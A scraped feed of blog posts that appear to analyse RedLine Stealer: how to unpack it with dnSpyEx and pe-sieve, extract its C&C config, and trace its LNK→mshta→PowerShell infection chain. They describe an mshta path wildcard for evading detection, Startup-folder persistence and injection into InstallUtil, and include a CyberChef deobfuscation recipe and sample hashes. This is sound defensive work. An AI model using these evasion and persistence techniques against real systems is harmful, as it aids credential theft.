&lt;figure&gt;&lt;a href=&quot;/wp-content/uploads/2024/01/8.-Summary-of-line.exe_.png&quot;&gt;&lt;img alt=&quot;3. Summary of line.exe&quot; decoding=&quot;async&quot; height=&quot;581&quot; loading=&quot;lazy&quot; sizes=&quot;(max-width: 1837px) 100vw, 1837px&quot; src=&quot;/wp-content/uploads/2024/01/8.-Summary-of-line.exe_.png&quot; srcset=&quot;/wp-content/uploads/2024/01/8.-Summary-of-line.exe_.png 1837w, /wp-content/uploads/2024/01/8.-Summary-of-line.exe_-300x95.png 300w, /wp-content/uploads/2024/01/8.-Summary-of-line.exe_-1024x324.png 1024w, /wp-content/uploads/2024/01/8.-Summary-of-line.exe_-768x243.png 768w&quot; width=&quot;1837&quot;/&gt;&lt;/a&gt;&lt;figcaption&gt;3. Summary of line.exe&lt;/figcaption&gt;&lt;/figure&gt;&lt;hr/&gt;&lt;h5&gt;3. Analyze &amp;amp; Debug the 2nd Stage DLL&lt;/h5&gt;
&lt;p&gt;Let’s set a bp in line.exe at &lt;code&gt;return exportedTypes[0];&lt;/code&gt;, to analyze the loaded assembly in memory.&lt;/p&gt;
&lt;p&gt;Navigate to Debug -&amp;gt; Windows -&amp;gt; Modules. You can see the new module &lt;code&gt;HiTechDistribution&lt;/code&gt;.&lt;/p&gt;
&lt;figure&gt;&lt;a href=&quot;/wp-content/uploads/2024/01/9.-First-bp-set.png&quot;&gt;&lt;img alt=&quot;4. First bp set in RedLine&quot; decoding=&quot;async&quot; height=&quot;639&quot; loading=&quot;lazy&quot; sizes=&quot;(max-width: 1556px) 100vw, 1556px&quot; src=&quot;/wp-content/uploads/2024/01/9.-First-bp-set.png&quot; srcset=&quot;/wp-content/uploads/2024/01/9.-First-bp-set.png 1556w, /wp-content/uploads/2024/01/9.-First-bp-set-300x123.png 300w, /wp-content/uploads/2024/01/9.-First-bp-set-1024x421.png 1024w, /wp-content/uploads/2024/01/9.-First-bp-set-768x315.png 768w&quot; width=&quot;1556&quot;/&gt;&lt;/a&gt;&lt;figcaption&gt;4. First bp set in RedLine&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;Let’s open the module, then go to Analayzer method &amp;amp; set a bp at &lt;code&gt;Program.Main()&lt;/code&gt;&lt;/p&gt;
&lt;figure&gt;&lt;a href=&quot;/wp-content/uploads/2024/01/10.-2nd-stage-dll-loaded.png&quot;&gt;&lt;img alt=&quot;5. 2nd stage dll loaded&quot; decoding=&quot;async&quot; height=&quot;886&quot; loading=&quot;lazy&quot; sizes=&quot;(max-width: 1478px) 100vw, 1478px&quot; src=&quot;/wp-content/uploads/2024/01/10.-2nd-stage-dll-loaded.png&quot; srcset=&quot;/wp-content/uploads/2024/01/10.-2nd-stage-dll-loaded.png 1478w, /wp-content/uploads/2024/01/10.-2nd-stage-dll-loaded-300x180.png 300w, /wp-content/uploads/2024/01/10.-2nd-stage-dll-loaded-1024x614.png 1024w, /wp-content/uploads/2024/01/10.-2nd-stage-dll-loaded-768x460.png 768w&quot; width=&quot;1478&quot;/&gt;&lt;/a&gt;&lt;figcaption&gt;5. 2nd stage dll loaded&lt;/figcaption&gt;&lt;/figure&gt;&lt;hr/&gt;&lt;h5&gt;4. Persistency using Startup folder&lt;/h5&gt;
&lt;p&gt;Let’s continue debugging, &amp;amp; our goal for analysis is to dump Happy.exe (unpacked malware) manually to extract config.&lt;/p&gt;
&lt;p&gt;First function which start with class name &lt;code&gt;FormGestionApp*&lt;/code&gt; is empty.&lt;br/&gt;
2nd function(rBB*) decrypt the strings, then execute PowerShell to copy line.exe to the Startup folder with the name “anydesk.exe.exe”.&lt;/p&gt;
&lt;figure&gt;&lt;a href=&quot;/wp-content/uploads/2024/01/11.-2nd-Stage-dll-Overview.png&quot;&gt;&lt;img alt=&quot;6. 2nd Stage dll Overview dnSpyEx&quot; decoding=&quot;async&quot; height=&quot;1320&quot; loading=&quot;lazy&quot; sizes=&quot;(max-width: 1352px) 100vw, 1352px&quot; src=&quot;/wp-content/uploads/2024/01/11.-2nd-Stage-dll-Overview.png&quot; srcset=&quot;/wp-content/uploads/2024/01/11.-2nd-Stage-dll-Overview.png 1352w, /wp-content/uploads/2024/01/11.-2nd-Stage-dll-Overview-300x293.png 300w, /wp-content/uploads/2024/01/11.-2nd-Stage-dll-Overview-1024x1000.png 1024w, /wp-content/uploads/2024/01/11.-2nd-Stage-dll-Overview-768x750.png 768w&quot; width=&quot;1352&quot;/&gt;&lt;/a&gt;&lt;figcaption&gt;6. 2nd Stage dll Overview&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;2nd function(rBB*) decrypt the strings, then execute PowerShell to copy line.exe to the Startup folder with the name “anydesk.exe.exe”.&lt;/p&gt;
&lt;figure&gt;&lt;a href=&quot;/wp-content/uploads/2024/01/12.-Using-PS-to-copy-in-startup-folder-.png&quot;&gt;&lt;img alt=&quot;7. Using PS to copy in startup folder&quot; decoding=&quot;async&quot; height=&quot;1199&quot; loading=&quot;lazy&quot; sizes=&quot;(max-width: 1967px) 100vw, 1967px&quot; src=&quot;/wp-content/uploads/2024/01/12.-Using-PS-to-copy-in-startup-folder-.png&quot; srcset=&quot;/wp-content/uploads/2024/01/12.-Using-PS-to-copy-in-startup-folder-.png 1967w, /wp-content/uploads/2024/01/12.-Using-PS-to-copy-in-startup-folder--300x183.png 300w, /wp-content/uploads/2024/01/12.-Using-PS-to-copy-in-startup-folder--1024x624.png 1024w, /wp-content/uploads/2024/01/12.-Using-PS-to-copy-in-startup-folder--768x468.png 768w&quot; width=&quot;1967&quot;/&gt;&lt;/a&gt;&lt;figcaption&gt;7. Using PS to copy in startup folder&lt;/figcaption&gt;&lt;/figure&gt;&lt;aside class=&quot;callout&quot;&gt;&lt;p&gt;Note: The Call Stack window in dnSpyEx is quite useful for seeing how the code jumps from one module to another.&lt;/p&gt;
&lt;p&gt;In this case it jumps from line.exe -&amp;gt; HiTechDistribution.dll (2nd stage dll) -&amp;gt; 2.7.dll – Injector (3rd stage dll).&lt;/p&gt;
&lt;/aside&gt;&lt;figure&gt;&lt;a href=&quot;/wp-content/uploads/2024/01/17.-Call-stack.png&quot;&gt;&lt;img alt=&quot;Call stack for RedLine&quot; decoding=&quot;async&quot; height=&quot;881&quot; loading=&quot;lazy&quot; sizes=&quot;(max-width: 1784px) 100vw, 1784px&quot; src=&quot;/wp-content/uploads/2024/01/17.-Call-stack.png&quot; srcset=&quot;/wp-content/uploads/2024/01/17.-Call-stack.png 1784w, /wp-content/uploads/2024/01/17.-Call-stack-300x148.png 300w, /wp-content/uploads/2024/01/17.-Call-stack-1024x506.png 1024w, /wp-content/uploads/2024/01/17.-Call-stack-768x379.png 768w&quot; width=&quot;1784&quot;/&gt;&lt;/a&gt;&lt;/figure&gt;&lt;hr/&gt;&lt;h5&gt;5. Load and dump 3rd stage dll (2.7.dll)&lt;/h5&gt;
&lt;p&gt;At line 19, it loads another injector named as (2.7), which is shown below in Modules section in dnSpyEx.&lt;/p&gt;
&lt;p&gt;It uses the Invoke method with two parameters as mentioned below:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;InstallUtil.exe path&lt;/li&gt;
&lt;li&gt;Assembly to inject (unpacked Happy.exe)&lt;/li&gt;
&lt;/ol&gt;
&lt;figure&gt;&lt;a href=&quot;/wp-content/uploads/2024/01/13.-Dump-3rd-Stage-dll-from-modules.png&quot;&gt;&lt;img alt=&quot;8. Dump 3rd Stage dll from modules&quot; decoding=&quot;async&quot; height=&quot;1317&quot; loading=&quot;lazy&quot; sizes=&quot;(max-width: 1358px) 100vw, 1358px&quot; src=&quot;/wp-content/uploads/2024/01/13.-Dump-3rd-Stage-dll-from-modules.png&quot; srcset=&quot;/wp-content/uploads/2024/01/13.-Dump-3rd-Stage-dll-from-modules.png 1358w, /wp-content/uploads/2024/01/13.-Dump-3rd-Stage-dll-from-modules-300x291.png 300w, /wp-content/uploads/2024/01/13.-Dump-3rd-Stage-dll-from-modules-1024x993.png 1024w, /wp-content/uploads/2024/01/13.-Dump-3rd-Stage-dll-from-modules-768x745.png 768w&quot; width=&quot;1358&quot;/&gt;&lt;/a&gt;&lt;figcaption&gt;8. Dump 3rd Stage dll from modules&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;This HumanTrace function based on the the flag it inject into itself  or InstallUtil.exe . For this execution, it return the complete path for InstallUtil.exe as shown below.&lt;/p&gt;
&lt;figure&gt;&lt;a href=&quot;/wp-content/uploads/2024/01/14.-Humantrace-function-for-InstallUtil.png&quot;&gt;&lt;img alt=&quot;9. Humantrace function for InstallUtil in dnSpyEx&quot; decoding=&quot;async&quot; height=&quot;809&quot; loading=&quot;lazy&quot; sizes=&quot;(max-width: 1049px) 100vw, 1049px&quot; src=&quot;/wp-content/uploads/2024/01/14.-Humantrace-function-for-InstallUtil.png&quot; srcset=&quot;/wp-content/uploads/2024/01/14.-Humantrace-function-for-InstallUtil.png 1049w, /wp-content/uploads/2024/01/14.-Humantrace-function-for-InstallUtil-300x231.png 300w, /wp-content/uploads/2024/01/14.-Humantrace-function-for-InstallUtil-1024x790.png 1024w, /wp-content/uploads/2024/01/14.-Humantrace-function-for-InstallUtil-768x592.png 768w&quot; width=&quot;1049&quot;/&gt;&lt;/a&gt;&lt;figcaption&gt;9. Humantrace function for InstallUtil&lt;/figcaption&gt;&lt;/figure&gt;&lt;hr/&gt;&lt;h5&gt;6. Extracting the Unpacked Malware&lt;/h5&gt;
&lt;p&gt;Then Step Into &lt;code&gt;Invoke&lt;/code&gt; function, you will see two parameter and final unpacked payload Happy.exe is present in the 2nd parameter as shown below.&lt;br/&gt;
Right-click and save the unpacked payload to disk.&lt;/p&gt;
&lt;figure&gt;&lt;a href=&quot;/wp-content/uploads/2024/01/15.-Injector-Dump-Unpacked-RedLine.png&quot;&gt;&lt;img alt=&quot;10. Injector- Dump Unpacked RedLine&quot; decoding=&quot;async&quot; height=&quot;1098&quot; loading=&quot;lazy&quot; sizes=&quot;(max-width: 1477px) 100vw, 1477px&quot; src=&quot;/wp-content/uploads/2024/01/15.-Injector-Dump-Unpacked-RedLine.png&quot; srcset=&quot;/wp-content/uploads/2024/01/15.-Injector-Dump-Unpacked-RedLine.png 1477w, /wp-content/uploads/2024/01/15.-Injector-Dump-Unpacked-RedLine-300x223.png 300w, /wp-content/uploads/2024/01/15.-Injector-Dump-Unpacked-RedLine-1024x761.png 1024w, /wp-content/uploads/2024/01/15.-Injector-Dump-Unpacked-RedLine-768x571.png 768w&quot; width=&quot;1477&quot;/&gt;&lt;/a&gt;&lt;figcaption&gt;10. Injector- Dump Unpacked RedLine&lt;/figcaption&gt;&lt;/figure&gt;&lt;hr/&gt;&lt;h5&gt;7. Extract RedLine config using dnSpyEx&lt;/h5&gt;
&lt;p&gt;Open this Happy.exe in dnSpyEx. Go to the assembly , right click then select “Go to Entry Point”.&lt;br/&gt;
Click on the IP text, it will show you the config class EntryPoint. In this sample, there is no XOR key used, so the C&amp;amp;C in plain text.&lt;/p&gt;
&lt;figure&gt;&lt;a href=&quot;/wp-content/uploads/2024/01/5.-Config_redline_stealer.png&quot;&gt;&lt;img alt=&quot;4. Config Redline stealer&quot; decoding=&quot;async&quot; height=&quot;1166&quot; loading=&quot;lazy&quot; sizes=&quot;(max-width: 1208px) 100vw, 1208px&quot; src=&quot;/wp-content/uploads/2024/01/5.-Config_redline_stealer.png&quot; srcset=&quot;/wp-content/uploads/2024/01/5.-Config_redline_stealer.png 1208w, /wp-content/uploads/2024/01/5.-Config_redline_stealer-300x290.png 300w, /wp-content/uploads/2024/01/5.-Config_redline_stealer-1024x988.png 1024w, /wp-content/uploads/2024/01/5.-Config_redline_stealer-768x741.png 768w&quot; width=&quot;1208&quot;/&gt;&lt;/a&gt;&lt;/figure&gt;&lt;p&gt;&lt;strong&gt;Conclusion:&lt;/strong&gt;&lt;br/&gt;
Unpacking RedLine Stealer using dnSpyEx is a meticulous yet rewarding process that offers invaluable insights into malware analysis and detection.&lt;/p&gt;

</content:encoded><category>malware-analysis</category><category>malware-analysis/unpacking</category><category>net</category><category>config</category><category>debugging</category><category>dnspyex</category><category>infostealer</category><category>malware-series</category><category>redline</category></item><item><title>Unpack RedLine stealer to extract config using pe-sieve -Part 2</title><link>https://www.securityinbits.com/malware-analysis/unpack-redline-stealer-to-extract-config-using-pe-sieve-part-2/</link><guid isPermaLink="false">https://www.securityinbits.com/?p=1189</guid><description>Unpack RedLine stealer to extract config using pe-sieve. pe-sieve dumps then unpacked files from memory. Then, extract the config from the dumped file.</description><pubDate>Tue, 06 Feb 2024 10:11:55 GMT</pubDate><content:encoded>&lt;p&gt;RedLine Stealer config extraction using two ways:&lt;/p&gt;
&lt;ol&gt;
&lt;li style=&quot;list-style-type: none;&quot;&gt;
&lt;ol&gt;
&lt;li&gt;Fast &amp;amp; Easy Method: Use the awesome pe-sieve tool from &lt;a href=&quot;https://twitter.com/hasherezade&quot; role=&quot;link&quot;&gt;@hasherezade&lt;/a&gt;, which dumps unpacked file from memory. Then,  extract the config from dumped file.&lt;/li&gt;
&lt;li&gt;Using dnSpyEx for manual debugging. It’s a bit lengthy but a great way to learn about the unpacking process. We will cover this in our next article in this series. Signup for our newsletter 👆to receive exclusive notification about upcoming articles.&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;This is the 2nd part of the deep dive into the RedLine, if you want to refresh about the RedLine Stealer infection chain, check out our previous article &lt;a href=&quot;/malware-analysis/🔍-dive-into-the-redline-stealer-infection-chain-part-1/&quot; rel=&quot;noopener&quot; target=&quot;_blank&quot;&gt;🔍 Dive into the RedLine Stealer Infection Chain – Part 1&lt;/a&gt;&lt;em&gt;&lt;strong&gt; .&lt;/strong&gt;&lt;/em&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;If you’d like to follow along, start by downloading this file line.exe from &lt;a href=&quot;https://bazaar.abuse.ch/sample/532631b46cb7e5b8b034cb3ef0ecc549fc10856261d9710cf23e7967055ddde4/&quot; rel=&quot;noopener&quot; target=&quot;_blank&quot;&gt;MalwareBazaar&lt;/a&gt;.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h4 id=&quot;fast-easy-method-using-pe-sieve&quot;&gt;Fast &amp;amp; Easy Method: Using pe-sieve&lt;/h4&gt;&lt;p&gt;One efficient way to extract the configuration of RedLine Stealer is by leveraging the powerful pe-sieve tool.This tool excels in dumping unpacked files from memory, simplifying the extraction process.&lt;/p&gt;
&lt;p&gt;Follow these steps to extract the config:&lt;/p&gt;
&lt;h6&gt;1. Monitor the malware using ProcMon &amp;amp; Process hacker&lt;/h6&gt;
&lt;p&gt;Use ProcMon Sysinternal tool to monitor the execution of line.exe. You’ll see a process tree like this.&lt;/p&gt;
&lt;figure&gt;&lt;a href=&quot;/wp-content/uploads/2024/01/0.-Infection-chain-process-tree.png&quot;&gt;&lt;img alt=&quot;.NET Stealer Infection chain&quot; decoding=&quot;async&quot; height=&quot;184&quot; loading=&quot;lazy&quot; sizes=&quot;(max-width: 956px) 100vw, 956px&quot; src=&quot;/wp-content/uploads/2024/01/0.-Infection-chain-process-tree.png&quot; srcset=&quot;/wp-content/uploads/2024/01/0.-Infection-chain-process-tree.png 956w, /wp-content/uploads/2024/01/0.-Infection-chain-process-tree-300x58.png 300w, /wp-content/uploads/2024/01/0.-Infection-chain-process-tree-768x148.png 768w&quot; width=&quot;956&quot;/&gt;&lt;/a&gt;&lt;/figure&gt;&lt;p&gt;After a few seconds, PowerShell will exit, and you’ll see a new process, InstallUtil.exe, with a child process, conhost.exe. The malicious code is injected inside InstallUtil process&lt;/p&gt;
&lt;figure&gt;&lt;a href=&quot;/wp-content/uploads/2024/01/1.-Process-hacker-process-tree.png&quot;&gt;&lt;img alt=&quot;1. Process hacker process tree&quot; decoding=&quot;async&quot; height=&quot;453&quot; loading=&quot;lazy&quot; sizes=&quot;(max-width: 806px) 100vw, 806px&quot; src=&quot;/wp-content/uploads/2024/01/1.-Process-hacker-process-tree.png&quot; srcset=&quot;/wp-content/uploads/2024/01/1.-Process-hacker-process-tree.png 806w, /wp-content/uploads/2024/01/1.-Process-hacker-process-tree-300x169.png 300w, /wp-content/uploads/2024/01/1.-Process-hacker-process-tree-768x432.png 768w&quot; width=&quot;806&quot;/&gt;&lt;/a&gt;&lt;figcaption&gt;1. Process hacker process tree&lt;/figcaption&gt;&lt;/figure&gt;&lt;hr/&gt;&lt;h6&gt;2. Dump the code using pe-sieve&lt;/h6&gt;
&lt;p&gt;Let’s use &lt;a href=&quot;https://github.com/hasherezade/pe-sieve/releases&quot; rel=&quot;noopener&quot; target=&quot;_blank&quot;&gt;pe-sieve&lt;/a&gt; to dump the unpacked code.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Get the process id of InstallUtil.exe (e.g. 8284)&lt;/li&gt;
&lt;li&gt;Execute this cmd &lt;code&gt;pe-sieve /pid 8284&lt;/code&gt; to dump the unpacked code from this InstallUtil.exe process.&lt;/li&gt;
&lt;/ul&gt;
&lt;figure&gt;&lt;a href=&quot;/wp-content/uploads/2024/01/2.-Dump-using-pe-sieve-.png&quot;&gt;&lt;img alt=&quot;Unapck using pe-sieve&quot; decoding=&quot;async&quot; height=&quot;346&quot; loading=&quot;lazy&quot; sizes=&quot;(max-width: 980px) 100vw, 980px&quot; src=&quot;/wp-content/uploads/2024/01/2.-Dump-using-pe-sieve-.png&quot; srcset=&quot;/wp-content/uploads/2024/01/2.-Dump-using-pe-sieve-.png 980w, /wp-content/uploads/2024/01/2.-Dump-using-pe-sieve--300x106.png 300w, /wp-content/uploads/2024/01/2.-Dump-using-pe-sieve--768x271.png 768w&quot; width=&quot;980&quot;/&gt;&lt;/a&gt;&lt;figcaption&gt;2. Dump using pe-sieve&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;Open this 400000.InstallUtil.exe in your favourite tool, I am using Die which is already installed in my Flare-VM. As you can see its 32 bit .NET file.&lt;/p&gt;
&lt;figure&gt;&lt;a href=&quot;/wp-content/uploads/2024/01/3.-Die-screenshot.png&quot;&gt;&lt;img alt=&quot;RedLine Stealer Die screenshot&quot; decoding=&quot;async&quot; height=&quot;750&quot; loading=&quot;lazy&quot; sizes=&quot;(max-width: 723px) 100vw, 723px&quot; src=&quot;/wp-content/uploads/2024/01/3.-Die-screenshot.png&quot; srcset=&quot;/wp-content/uploads/2024/01/3.-Die-screenshot.png 723w, /wp-content/uploads/2024/01/3.-Die-screenshot-289x300.png 289w&quot; width=&quot;723&quot;/&gt;&lt;/a&gt;&lt;figcaption&gt;Die screenshot&lt;/figcaption&gt;&lt;/figure&gt;&lt;hr/&gt;&lt;h6&gt;3. Extract config using dnSpyEx&lt;/h6&gt;
&lt;p&gt;Open the dumped 400000.InstallUtil.exe from pe-sieve in dnSpyEx. Go to the assembly , right click then select “Go to Entry Point”.&lt;/p&gt;
&lt;p&gt;Click on the IP text, it will show you the config class EntryPoint. In this sample, there is no XOR key used, so the C&amp;amp;C in plain text.&lt;/p&gt;
&lt;figure&gt;&lt;a href=&quot;/wp-content/uploads/2024/01/4.-Load-the-file-in-dnSpyEx.png&quot;&gt;&lt;img alt=&quot;3. Load the file in dnSpyEx&quot; decoding=&quot;async&quot; height=&quot;1158&quot; loading=&quot;lazy&quot; sizes=&quot;(max-width: 1311px) 100vw, 1311px&quot; src=&quot;/wp-content/uploads/2024/01/4.-Load-the-file-in-dnSpyEx.png&quot; srcset=&quot;/wp-content/uploads/2024/01/4.-Load-the-file-in-dnSpyEx.png 1311w, /wp-content/uploads/2024/01/4.-Load-the-file-in-dnSpyEx-300x265.png 300w, /wp-content/uploads/2024/01/4.-Load-the-file-in-dnSpyEx-1024x904.png 1024w, /wp-content/uploads/2024/01/4.-Load-the-file-in-dnSpyEx-768x678.png 768w&quot; width=&quot;1311&quot;/&gt;&lt;/a&gt;&lt;figcaption&gt;3. Load the file in dnSpyEx&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;Now we have extracted the RedLine Stealer config.&lt;/p&gt;
&lt;figure&gt;&lt;a href=&quot;/wp-content/uploads/2024/01/5.-Config_redline_stealer.png&quot;&gt;&lt;img alt=&quot;4. Config Redline stealer&quot; decoding=&quot;async&quot; height=&quot;1166&quot; loading=&quot;lazy&quot; sizes=&quot;(max-width: 1208px) 100vw, 1208px&quot; src=&quot;/wp-content/uploads/2024/01/5.-Config_redline_stealer.png&quot; srcset=&quot;/wp-content/uploads/2024/01/5.-Config_redline_stealer.png 1208w, /wp-content/uploads/2024/01/5.-Config_redline_stealer-300x290.png 300w, /wp-content/uploads/2024/01/5.-Config_redline_stealer-1024x988.png 1024w, /wp-content/uploads/2024/01/5.-Config_redline_stealer-768x741.png 768w&quot; width=&quot;1208&quot;/&gt;&lt;/a&gt;&lt;figcaption&gt;4. Config Redline stealer&lt;/figcaption&gt;&lt;/figure&gt;&lt;hr/&gt;&lt;p&gt;For those seeking a deeper understanding of the unpacking process, manual debugging using dnSpyEx provides invaluable insights. I am excited for next article as it will cover unpacking in details.&lt;/p&gt;
&lt;p&gt;Stay tuned for our next article in this series, where we will explore this technique in detail.&lt;/p&gt;

</content:encoded><category>malware-analysis</category><category>malware-analysis/unpacking</category><category>net</category><category>dnspyex</category><category>infostealer</category><category>malware-series</category><category>pe-sieve</category><category>procmon</category><category>redline</category></item><item><title>🔍 Dive into the RedLine Stealer Infection Chain – Part 1</title><link>https://www.securityinbits.com/malware-analysis/%F0%9F%94%8D-dive-into-the-redline-stealer-infection-chain-part-1/</link><guid isPermaLink="false">https://www.securityinbits.com/?p=1149</guid><description>This article talks about RedLine Stealer infection chain which uses LNK, PowerShell, mshta and URLs to download final payload. This include VBScript analysis using CyberChef &amp; Wscript.Echo.</description><pubDate>Tue, 30 Jan 2024 12:45:33 GMT</pubDate><content:encoded>&lt;p id=&quot;ember662&quot;&gt;RedLine Stealer Infection Chain:&lt;/p&gt;
&lt;p id=&quot;ember663&quot;&gt;Zip ➡️ LNK PS ➡️ mshta (URL1) ➡️ PS ➡️ cmd ➡️ PS ➡️ URL2 ➡️ exe&lt;/p&gt;
&lt;p id=&quot;ember664&quot;&gt;What’s Inside:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;LNK using \W*\\2\\msh*e to dodge detection&lt;/li&gt;
&lt;li&gt;VBScript analysis using CyberChef &amp;amp; Wscript.Echo&lt;/li&gt;
&lt;li&gt;Utilize CyberChef recipe to decode VBScript &amp;amp; PowerShell&lt;/li&gt;
&lt;li&gt;How to deobfuscate PowerShell with PowerShell logging&lt;/li&gt;
&lt;/ul&gt;
&lt;figure&gt;&lt;img alt=&quot;.NET Stealer Infection chain&quot; decoding=&quot;async&quot; height=&quot;184&quot; loading=&quot;lazy&quot; sizes=&quot;(max-width: 956px) 100vw, 956px&quot; src=&quot;/wp-content/uploads/2024/01/0.-Infection-chain-process-tree.png&quot; srcset=&quot;/wp-content/uploads/2024/01/0.-Infection-chain-process-tree.png 956w, /wp-content/uploads/2024/01/0.-Infection-chain-process-tree-300x58.png 300w, /wp-content/uploads/2024/01/0.-Infection-chain-process-tree-768x148.png 768w&quot; width=&quot;956&quot;/&gt;&lt;figcaption&gt;RedLine Stealer Infection chain process tree&lt;/figcaption&gt;&lt;/figure&gt;&lt;h4 id=&quot;what-is-redline-stealer&quot;&gt;What is RedLine Stealer?&lt;/h4&gt;&lt;p&gt;According to &lt;a href=&quot;https://malpedia.caad.fkie.fraunhofer.de/details/win.redline_stealer&quot; rel=&quot;noopener&quot; target=&quot;_blank&quot;&gt;malpedia&lt;/a&gt;, RedLine Stealer is a malware available on underground forums for sale apparently as standalone ($100/$150 depending on the version) or also on a subscription basis ($100/month). This malware harvests information from browsers such as saved credentials, autocomplete data, and credit card information. More recent versions of RedLine added the ability to steal &lt;strong&gt;cryptocurrency&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;This malware is always in last week’s top 10 according to ANY.RUN.&lt;/p&gt;
&lt;figure&gt;&lt;a href=&quot;/wp-content/uploads/2024/01/Any-run-top-10.jpeg&quot;&gt;&lt;img alt=&quot;Any run top 10&quot; decoding=&quot;async&quot; height=&quot;608&quot; loading=&quot;lazy&quot; sizes=&quot;(max-width: 821px) 100vw, 821px&quot; src=&quot;/wp-content/uploads/2024/01/Any-run-top-10.jpeg&quot; srcset=&quot;/wp-content/uploads/2024/01/Any-run-top-10.jpeg 821w, /wp-content/uploads/2024/01/Any-run-top-10-300x222.jpeg 300w, /wp-content/uploads/2024/01/Any-run-top-10-768x569.jpeg 768w&quot; width=&quot;821&quot;/&gt;&lt;/a&gt;&lt;figcaption&gt;Any run top 10&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;If you want to follow along, please downlaod the files from &lt;a href=&quot;https://bazaar.abuse.ch/sample/3086ac8861aaccdf3dc45f3b1380b6cd70169c7d9fc16f098f5a1d08736fed61/&quot; rel=&quot;nofollow noopener&quot; target=&quot;_blank&quot;&gt;MalwareBazaar&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;086F03FD9AC1C3C8CFB239AE987E3BD5 PRODUCT DESIGN AND SPECIFICATION.zip&lt;br/&gt;
--&amp;gt;&lt;br/&gt;
8D35E46911450C731F76F311BAAD7EF0 PRODUCT DESIGN AND SPECIFICATION.lnk&lt;br/&gt;
--&amp;gt;&lt;br/&gt;
D88EE271FCA9CC237C2C5A8EFCC744DB line.hta&lt;br/&gt;
--&amp;gt;&lt;br/&gt;
5E3B97C3D2825D9D448AB145C6F0FB64 line.exe&lt;/code&gt;&lt;/p&gt;
&lt;h4 id=&quot;1-the-zip-file-containing-the-lnk&quot;&gt;1. The Zip File Containing the LNK:&lt;/h4&gt;&lt;ul&gt;
&lt;li&gt;LNK uses PowerShell to execute mshta.exe.&lt;/li&gt;
&lt;li&gt;Executes the HTA from the URL present inside the LNK file.&lt;/li&gt;
&lt;li&gt;Uses &lt;strong&gt;\W*\\2\\msh*e&lt;/strong&gt;instead of mshta.exe, to evade static detection 💡.&lt;/li&gt;
&lt;li&gt;In simple terms &lt;strong&gt;\W*\\2\\msh*e &lt;/strong&gt;points to C:\Windows\System32\mshta.exe&lt;/li&gt;
&lt;/ul&gt;
&lt;figure&gt;&lt;a href=&quot;/wp-content/uploads/2024/01/1.-Infection_Chain_Step_1.png&quot;&gt;&lt;img alt=&quot;RedLine Infection Chain Step 1&quot; decoding=&quot;async&quot; height=&quot;850&quot; loading=&quot;lazy&quot; sizes=&quot;(max-width: 1182px) 100vw, 1182px&quot; src=&quot;/wp-content/uploads/2024/01/1.-Infection_Chain_Step_1.png&quot; srcset=&quot;/wp-content/uploads/2024/01/1.-Infection_Chain_Step_1.png 1182w, /wp-content/uploads/2024/01/1.-Infection_Chain_Step_1-300x216.png 300w, /wp-content/uploads/2024/01/1.-Infection_Chain_Step_1-1024x736.png 1024w, /wp-content/uploads/2024/01/1.-Infection_Chain_Step_1-768x552.png 768w&quot; width=&quot;1182&quot;/&gt;&lt;/a&gt;&lt;figcaption&gt;RedLine Infection Chain Step 1&lt;/figcaption&gt;&lt;/figure&gt;&lt;h4 id=&quot;2-hta-uses-vbscript-chr-function-to-obfuscatation&quot;&gt;2. HTA uses VBScript ‘chr’ function to obfuscatation:&lt;/h4&gt;&lt;p&gt;chr returns the character represented by an Ascii code. e.g. Chr(65) will return ‘A’. Let’s try to decode using CyberChef recipe then use alternate method using Wscript.Echo.&lt;/p&gt;
&lt;figure&gt;&lt;a href=&quot;/wp-content/uploads/2024/01/2.-HTA_file_content.png&quot;&gt;&lt;img alt=&quot;HTA file content&quot; decoding=&quot;async&quot; height=&quot;810&quot; loading=&quot;lazy&quot; sizes=&quot;(max-width: 1050px) 100vw, 1050px&quot; src=&quot;/wp-content/uploads/2024/01/2.-HTA_file_content.png&quot; srcset=&quot;/wp-content/uploads/2024/01/2.-HTA_file_content.png 1050w, /wp-content/uploads/2024/01/2.-HTA_file_content-300x231.png 300w, /wp-content/uploads/2024/01/2.-HTA_file_content-1024x790.png 1024w, /wp-content/uploads/2024/01/2.-HTA_file_content-768x592.png 768w&quot; width=&quot;1050&quot;/&gt;&lt;/a&gt;&lt;figcaption&gt;HTA file content&lt;/figcaption&gt;&lt;/figure&gt;&lt;h5 id=&quot;ember674&quot;&gt;2.1. &lt;strong&gt;Decoding the Obfuscated VBScript:&lt;/strong&gt;&lt;/h5&gt;
&lt;p id=&quot;ember675&quot;&gt;Copy the obfuscated VBScript from HTA file to CyberChef Input.&lt;/p&gt;
&lt;p id=&quot;ember676&quot;&gt;Then load the below VBScript deobfuscation CyberChef recipe to decode VBScript.&lt;/p&gt;
&lt;p id=&quot;ember677&quot;&gt;&lt;strong&gt;CyberChef Recipe:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;Find_/_Replace({&apos;option&apos;:&apos;Simple string&apos;,&apos;string&apos;:&apos;&amp;amp;H&apos;},&apos;0x&apos;,true,false,true,false
Subsection(&apos;chr\\(\\d+-\\((0x[A-Fa-f0-9]+)\\)\\)&apos;,true,true,false)
From_Base(16)
Merge(true)
Find_/_Replace({&apos;option&apos;:&apos;Simple string&apos;,&apos;string&apos;:&apos;-(&apos;},&apos;:&apos;,true,false,true,false)
Find_/_Replace({&apos;option&apos;:&apos;Simple string&apos;,&apos;string&apos;:&apos;))&apos;},&apos;)&apos;,true,false,true,false)
Regular_expression(&apos;User defined&apos;,&apos;chr\\(([^)]+)\\)&apos;,true,true,false,false,false,false,&apos;List capture groups&apos;)
Fork(&apos;\\n&apos;,&apos;&apos;,false)
Subtract(&apos;Colon&apos;)
From_Decimal(&apos;Space&apos;,false)&lt;/pre&gt;
